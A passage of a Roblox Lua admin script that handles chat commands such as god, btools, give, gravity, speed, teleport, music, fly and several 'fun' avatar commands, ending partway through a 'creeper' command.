  1065. coroutine.resume(coroutine.create(function()
  1066. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1067. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1068. end
  1069. end))
  1070. end
  1071. end
  1072.  
  1073. if msg:lower():sub(1,4) == "god " then
  1074. local plrz = GetPlr(plr, msg:lower():sub(5))
  1075. for i, v in pairs(plrz) do
  1076. coroutine.resume(coroutine.create(function()
  1077. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1078. v.Character.Humanoid.MaxHealth = math.huge
  1079. v.Character.Humanoid.Health = 9e9
  1080. end
  1081. end))
  1082. end
  1083. end
  1084.  
  1085. if msg:lower():sub(1,6) == "ungod " then
  1086. local plrz = GetPlr(plr, msg:lower():sub(7))
  1087. for i, v in pairs(plrz) do
  1088. coroutine.resume(coroutine.create(function()
  1089. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1090. v.Character.Humanoid.MaxHealth = 100
  1091. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1092. end
  1093. end))
  1094. end
  1095. end
  1096.  
  1097. if msg:lower():sub(1,8) == "ambient " then
  1098. local chk1 = msg:lower():sub(9):find(" ") + 8
  1099. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1100. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1101. end
  1102.  
  1103. if msg:lower():sub(1,11) == "brightness " then
  1104. game.Lighting.Brightness = msg:sub(12)
  1105. end
  1106.  
  1107. if msg:lower():sub(1,5) == "time " then
  1108. game.Lighting.TimeOfDay = msg:sub(6)
  1109. end
  1110.  
  1111. if msg:lower():sub(1,9) == "fogcolor " then
  1112. local chk1 = msg:lower():sub(10):find(" ") + 9
  1113. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1114. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  1115. end
  1116.  
  1117. if msg:lower():sub(1,7) == "fogend " then
  1118. game.Lighting.FogEnd = msg:sub(8)
  1119. end
  1120.  
  1121. if msg:lower():sub(1,9) == "fogstart " then
  1122. game.Lighting.FogStart = msg:sub(10)
  1123. end
  1124.  
  1125. if msg:lower():sub(1,7) == "btools " then
  1126. local plrz = GetPlr(plr, msg:lower():sub(8))
  1127. for i, v in pairs(plrz) do
  1128. coroutine.resume(coroutine.create(function()
  1129. if v and v:findFirstChild("Backpack") then
  1130. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1131. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1132. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1133. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1134. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  1135. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  1136. local sb
  1137. local hs
  1138. local pdist
  1139.  
  1140. script.Parent.Selected:connect(function(mouse)
  1141. if not mouse then return end
  1142. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  1143. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  1144. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  1145. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  1146. hs.MouseButton1Down:connect(function() pdist = 0 end)
  1147. end)
  1148.  
  1149. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  1150. end
  1151. end))
  1152. end
  1153. end
  1154.  
  1155. if msg:lower():sub(1,5) == "give " then
  1156. local chk1 = msg:lower():sub(6):find(" ") + 5
  1157. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1158. for i, v in pairs(plrz) do
  1159. coroutine.resume(coroutine.create(function()
  1160. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  1161. for a, tool in pairs(game.Lighting:children()) do
  1162. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  1163. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  1164. end
  1165. end
  1166. end
  1167. end))
  1168. end
  1169. end
  1170.  
  1171. if msg:lower():sub(1,12) == "removetools " then
  1172. local plrz = GetPlr(plr, msg:lower():sub(13))
  1173. for i, v in pairs(plrz) do
  1174. coroutine.resume(coroutine.create(function()
  1175. if v and v.Character and v:findFirstChild("Backpack") then
  1176. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1177. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  1178. end
  1179. end))
  1180. end
  1181. end
  1182.  
  1183. if msg:lower():sub(1,5) == "rank " then
  1184. local chk1 = msg:lower():sub(6):find(" ") + 5
  1185. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1186. for i, v in pairs(plrz) do
  1187. coroutine.resume(coroutine.create(function()
  1188. if v and v:IsInGroup(msg:sub(chk1+1)) then
  1189. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  1190. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  1191. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  1192. end
  1193. end))
  1194. end
  1195. end
  1196.  
  1197. if msg:lower():sub(1,7) == "damage " then
  1198. local chk1 = msg:lower():sub(8):find(" ") + 7
  1199. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1200. for i, v in pairs(plrz) do
  1201. coroutine.resume(coroutine.create(function()
  1202. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1203. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  1204. end
  1205. end))
  1206. end
  1207. end
  1208.  
  1209. if msg:lower():sub(1,5) == "grav " then
  1210. local plrz = GetPlr(plr, msg:lower():sub(6))
  1211. for i, v in pairs(plrz) do
  1212. coroutine.resume(coroutine.create(function()
  1213. if v and v.Character and v.Character:findFirstChild("Torso") then
  1214. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1215. end
  1216. end))
  1217. end
  1218. end
  1219.  
  1220. if msg:lower():sub(1,8) == "setgrav " then
  1221. local chk1 = msg:lower():sub(9):find(" ") + 8
  1222. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  1223. for i, v in pairs(plrz) do
  1224. coroutine.resume(coroutine.create(function()
  1225. if v and v.Character and v.Character:findFirstChild("Torso") then
  1226. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1227. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1228. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  1229. end
  1230. end))
  1231. end
  1232. end
  1233.  
  1234. if msg:lower():sub(1,7) == "nograv " then
  1235. local plrz = GetPlr(plr, msg:lower():sub(8))
  1236. for i, v in pairs(plrz) do
  1237. coroutine.resume(coroutine.create(function()
  1238. if v and v.Character and v.Character:findFirstChild("Torso") then
  1239. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  1240. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  1241. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  1242. end
  1243. end))
  1244. end
  1245. end
  1246.  
  1247. if msg:lower():sub(1,7) == "health " then
  1248. local chk1 = msg:lower():sub(8):find(" ") + 7
  1249. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1250. for i, v in pairs(plrz) do
  1251. coroutine.resume(coroutine.create(function()
  1252. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1253. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1254. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1255. end
  1256. end))
  1257. end
  1258. end
  1259.  
  1260. if msg:lower():sub(1,6) == "speed " then
  1261. local chk1 = msg:lower():sub(7):find(" ") + 6
  1262. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1263. for i, v in pairs(plrz) do
  1264. coroutine.resume(coroutine.create(function()
  1265. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1266. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1267. end
  1268. end))
  1269. end
  1270. end
  1271.  
  1272. if msg:lower():sub(1,5) == "team " then
  1273. local chk1 = msg:lower():sub(6):find(" ") + 5
  1274. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1275. for i, v in pairs(plrz) do
  1276. coroutine.resume(coroutine.create(function()
  1277. if v and game:findFirstChild("Teams") then
  1278. for a, tm in pairs(game.Teams:children()) do
  1279. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1280. end
  1281. end
  1282. end))
  1283. end
  1284. end
  1285.  
  1286. if msg:lower():sub(1,6) == "place " then
  1287. local chk1 = msg:lower():sub(7):find(" ") + 6
  1288. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1289. for i, v in pairs(plrz) do
  1290. coroutine.resume(coroutine.create(function()
  1291. if v and v:findFirstChild("PlayerGui") then
  1292. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1293. end
  1294. end))
  1295. end
  1296. end
  1297.  
  1298. if msg:lower():sub(1,3) == "tp " then
  1299. local chk1 = msg:lower():sub(4):find(" ") + 3
  1300. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1301. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1302. for i, v in pairs(plrz) do
  1303. coroutine.resume(coroutine.create(function()
  1304. for i2, v2 in pairs(plrz2) do
  1305. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1306. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1307. end
  1308. end
  1309. end))
  1310. end
  1311. end
  1312.  
  1313. if msg:lower():sub(1,7) == "change " then
  1314. local chk1 = msg:lower():sub(8):find(" ") + 7
  1315. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1316. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1317. for i, v in pairs(plrz) do
  1318. coroutine.resume(coroutine.create(function()
  1319. if v and v:findFirstChild("leaderstats") then
  1320. for a, st in pairs(v.leaderstats:children()) do
  1321. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1322. end
  1323. end
  1324. end))
  1325. end
  1326. end
  1327.  
  1328. if msg:lower():sub(1,6) == "shirt " then
  1329. local chk1 = msg:lower():sub(7):find(" ") + 6
  1330. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1331. for i, v in pairs(plrz) do
  1332. coroutine.resume(coroutine.create(function()
  1333. if v and v.Character then
  1334. for i,v in pairs(v.Character:children()) do
  1335. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1336. end
  1337. end
  1338. end))
  1339. end
  1340. end
  1341.  
  1342. if msg:lower():sub(1,6) == "pants " then
  1343. local chk1 = msg:lower():sub(7):find(" ") + 6
  1344. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1345. for i, v in pairs(plrz) do
  1346. coroutine.resume(coroutine.create(function()
  1347. if v and v.Character then
  1348. for i,v in pairs(v.Character:children()) do
  1349. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1350. end
  1351. end
  1352. end))
  1353. end
  1354. end
  1355.  
  1356. if msg:lower():sub(1,5) == "face " then
  1357. local chk1 = msg:lower():sub(6):find(" ") + 5
  1358. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1359. for i, v in pairs(plrz) do
  1360. coroutine.resume(coroutine.create(function()
  1361. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1362. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1363. end
  1364. end))
  1365. end
  1366. end
  1367.  
  1368. ------------------
  1369. -- Fun Commands --
  1370. ------------------
  1371. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1372.  
  1373. if msg:lower():sub(1,8) == "swagify " then
  1374. local plrz = GetPlr(plr, msg:lower():sub(9))
  1375. for i, v in pairs(plrz) do
  1376. coroutine.resume(coroutine.create(function()
  1377. if v and v.Character then
  1378. for i,v in pairs(v.Character:children()) do
  1379. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1380. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  1381. end
  1382. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  1383. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  1384. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  1385. local torso = plr.Character.Torso
  1386. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  1387. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  1388. p.Size = Vector3.new(.2,.2,.2)
  1389. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  1390. local motor1 = Instance.new("Motor", p)
  1391. motor1.Part0 = p
  1392. motor1.Part1 = torso
  1393. motor1.MaxVelocity = .01
  1394. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  1395. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  1396. local wave = false
  1397. repeat wait(1/44)
  1398. local ang = 0.1
  1399. local oldmag = torso.Velocity.magnitude
  1400. local mv = .002
  1401. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  1402. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  1403. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  1404. motor1.DesiredAngle = -ang
  1405. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  1406. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  1407. if torso.Velocity.magnitude < .1 then wait(.1) end
  1408. until not p or p.Parent ~= torso.Parent
  1409. script:Destroy()
  1410. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  1411. end
  1412. end))
  1413. end
  1414. end
  1415.  
  1416. if msg:lower():sub(1,6) == "music " then
  1417. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1418. local id = msg:sub(7)
  1419. local pitch = 1
  1420. if tostring(id):lower():find("caramell") then id = 2303479 end
  1421. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1422. if tostring(id):find("rick") then id = 2027611 end
  1423. if tostring(id):find("halo") then id = 1034065 end
  1424. if tostring(id):find("pokemon") then id = 1372261 end
  1425. if tostring(id):find("cursed") then id = 1372257 end
  1426. if tostring(id):find("extreme") then id = 11420933 end
  1427. if tostring(id):find("awaken") then id = 27697277 end
  1428. if tostring(id):find("alone") then id = 27697392 end
  1429. if tostring(id):find("mario") then id = 1280470 end
  1430. if tostring(id):find("choir") then id = 1372258 end
  1431. if tostring(id):find("chrono") then id = 1280463 end
  1432. if tostring(id):find("dotr") then id = 11420922 end
  1433. if tostring(id):find("entertain") then id = 27697267 end
  1434. if tostring(id):find("fantasy") then id = 1280473 end
  1435. if tostring(id):find("final") then id = 1280414 end
  1436. if tostring(id):find("emblem") then id = 1372259 end
  1437. if tostring(id):find("flight") then id = 27697719 end
  1438. if tostring(id):find("banjo") then id = 27697298 end
  1439. if tostring(id):find("gothic") then id = 27697743 end
  1440. if tostring(id):find("hiphop") then id = 27697735 end
  1441. if tostring(id):find("intro") then id = 27697707 end
  1442. if tostring(id):find("mule") then id = 1077604 end
  1443. if tostring(id):find("film") then id = 27697713 end
  1444. if tostring(id):find("nezz") then id = 8610025 end
  1445. if tostring(id):find("angel") then id = 1372260 end
  1446. if tostring(id):find("resist") then id = 27697234 end
  1447. if tostring(id):find("schala") then id = 5985787 end
  1448. if tostring(id):find("organ") then id = 11231513 end
  1449. if tostring(id):find("tunnel") then id = 9650822 end
  1450. if tostring(id):find("spanish") then id = 5982975 end
  1451. if tostring(id):find("venom") then id = 1372262 end
  1452. if tostring(id):find("wind") then id = 1015394 end
  1453. if tostring(id):find("guitar") then id = 5986151 end
  1454. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1455. end
  1456.  
  1457. if msg:lower() == "stopmusic" then
  1458. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1459. end
  1460.  
  1461. if msg:lower() == "musiclist" then
  1462. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1463. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1464. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1465. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1466. end
  1467.  
  1468. if msg:lower():sub(1,4) == "fly " then
  1469. local plrz = GetPlr(plr, msg:lower():sub(5))
  1470. for i, v in pairs(plrz) do
  1471. coroutine.resume(coroutine.create(function()
  1472. if v and v:findFirstChild("PlayerGui") then
  1473. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") local mouse = game.Players.LocalPlayer:GetMouse() repeat wait() until mouse ~= nil local plr = game.Players.LocalPlayer local torso = plr.Character.Torso local flying = false local deb = true local ctrl = {f = 0, b = 0, l = 0, r = 0} local lastctrl = {f = 0, b = 0, l = 0, r = 0} local maxspeed = 50 local speed = 0 function Fly() local bg = Instance.new("BodyGyro", torso) bg.P = 9e4 bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) bg.cframe = torso.CFrame local bv = Instance.new("BodyVelocity", torso) bv.velocity = Vector3.new(0,0.1,0) bv.maxForce = Vector3.new(9e9, 9e9, 9e9) repeat wait() plr.Character.Humanoid.PlatformStand = true if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then speed = speed+.5+(speed/maxspeed) if speed > maxspeed then speed = maxspeed end elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then speed = speed-1 if speed < 0 then speed = 0 end end if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity = Vector3.new(0,0.1,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) until not flying ctrl = {f = 0, b = 0, l = 0, r = 0} lastctrl = {f = 0, b = 0, l = 0, r = 0} speed = 0 bg:Destroy() bv:Destroy() plr.Character.Humanoid.PlatformStand = false end mouse.KeyDown:connect(function(key) if key:lower() == "e" then if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then ctrl.f = 1 elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1 elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() == "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0 elseif key:lower() == "d" then ctrl.r = 0 end end)]]
  1474. cl.Parent = v.PlayerGui cl.Disabled = false
  1475. end
  1476. end))
  1477. end
  1478. end
  1479.  
  1480. if msg:lower():sub(1,6) == "unfly " then
  1481. local plrz = GetPlr(plr, msg:lower():sub(7))
  1482. for i, v in pairs(plrz) do
  1483. coroutine.resume(coroutine.create(function()
  1484. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1485. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1486. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1487. wait(.1) v.Character.Humanoid.PlatformStand = false
  1488. end
  1489. end))
  1490. end
  1491. end
  1492.  
  1493. if msg:lower() == "disco" then
  1494. for i, v in pairs(lobjs) do v:Destroy() end
  1495. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  1496. game.Lighting.Ambient = color
  1497. game.Lighting.FogColor = color
  1498. until nil]]
  1499. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1500. end
  1501.  
  1502. if msg:lower() == "flash" then
  1503. for i, v in pairs(lobjs) do v:Destroy() end
  1504. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  1505. game.Lighting.Ambient = Color3.new(1,1,1)
  1506. game.Lighting.FogColor = Color3.new(1,1,1)
  1507. game.Lighting.Brightness = 1
  1508. game.Lighting.TimeOfDay = 14
  1509. wait(.1)
  1510. game.Lighting.Ambient = Color3.new(0,0,0)
  1511. game.Lighting.FogColor = Color3.new(0,0,0)
  1512. game.Lighting.Brightness = 0
  1513. game.Lighting.TimeOfDay = 0
  1514. until nil]]
  1515. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1516. end
  1517.  
  1518. if msg:lower():sub(1,5) == "spin " then
  1519. local plrz = GetPlr(plr, msg:lower():sub(6))
  1520. for i, v in pairs(plrz) do
  1521. coroutine.resume(coroutine.create(function()
  1522. if v and v.Character and v.Character:findFirstChild("Torso") then
  1523. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1524. local torso = v.Character:findFirstChild("Torso")
  1525. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1526. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1527. until not bg or bg.Parent ~= torso
  1528. end
  1529. end))
  1530. end
  1531. end
  1532.  
  1533. if msg:lower():sub(1,7) == "unspin " then
  1534. local plrz = GetPlr(plr, msg:lower():sub(8))
  1535. for i, v in pairs(plrz) do
  1536. coroutine.resume(coroutine.create(function()
  1537. if v and v.Character and v.Character:findFirstChild("Torso") then
  1538. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1539. end
  1540. end))
  1541. end
  1542. end
  1543.  
  1544. if msg:lower():sub(1,4) == "dog " then
  1545. local plrz = GetPlr(plr, msg:lower():sub(5))
  1546. for i, v in pairs(plrz) do
  1547. coroutine.resume(coroutine.create(function()
  1548. if v and v.Character and v.Character:findFirstChild("Torso") then
  1549. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1550. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1551. v.Character.Torso.Transparency = 1
  1552. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1553. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1554. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1555. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1556. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1557. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1558. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1559. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1560. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1561. end
  1562. end))
  1563. end
  1564. end
  1565.  
  1566. if msg:lower():sub(1,6) == "undog " then
  1567. local plrz = GetPlr(plr, msg:lower():sub(7))
  1568. for i, v in pairs(plrz) do
  1569. coroutine.resume(coroutine.create(function()
  1570. if v and v.Character and v.Character:findFirstChild("Torso") then
  1571. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1572. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1573. v.Character.Torso.Transparency = 0
  1574. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1575. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1576. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1577. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1578. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1579. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1580. end
  1581. end))
  1582. end
  1583. end
  1584.  
  1585. if msg:lower():sub(1,8) == "creeper " then
  1586. local plrz = GetPlr(plr, msg:lower():sub(9))
  1587. for i, v in pairs(plrz) do
  1588. coroutine.resume(coroutine.create(function()
  1589. if v and v.Character and v.Character:findFirstChild("Torso") then
